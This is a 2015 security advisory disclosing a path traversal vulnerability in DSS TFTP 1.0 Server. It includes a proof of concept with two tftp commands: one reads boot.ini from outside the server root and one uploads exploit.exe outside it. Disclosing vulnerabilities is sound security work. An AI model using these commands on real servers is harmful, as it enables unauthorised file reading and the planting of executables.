DSS TFTP 1.0 Path Traversal

`Document Title:  
===============  
DSS TFTP 1.0 Server - Path Traversal Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1440  
  
  
Release Date:  
=============  
2015-02-26  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1440  
  
  
Common Vulnerability Scoring System:  
====================================  
6.2  
  
  
Product & Service Introduction:  
===============================  
DSS TFTP 1.0 Server is a simple TFTP server that allows basic file transfers.  
  
(Download: http://www.kndata.com/downloads/ )  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered a path traversal vulnerability in the official DSS TFTP 1.0 Server software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-02-26: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
DSS TFTP 1.0 Server is a simple TFTP server that allows user to download/upload files through the TFTP service from/to specified tftp root directory.   
However, application is vulnerable to path traversal that enables attacker to download/upload files outside the tftp root directory.  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability can be exploited by remote attackers without user interaction or privileged application user account.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
GET file from server  
tftp -i 192.168.56.101 GET .../boot.ini  
  
PUT file outside the tftp root directory  
tftp -i 192.168.56.101 PUT exploit.exe .../exploit.exe  
  
  
Security Risk:  
==============  
The security risk of the path traversal software vulnerability is estimated as high. (CVSS 6.2)  
  
  
Credits & Authors:  
==================  
lucyoa  
  
  
Disclaimer & Information:  
=========================  
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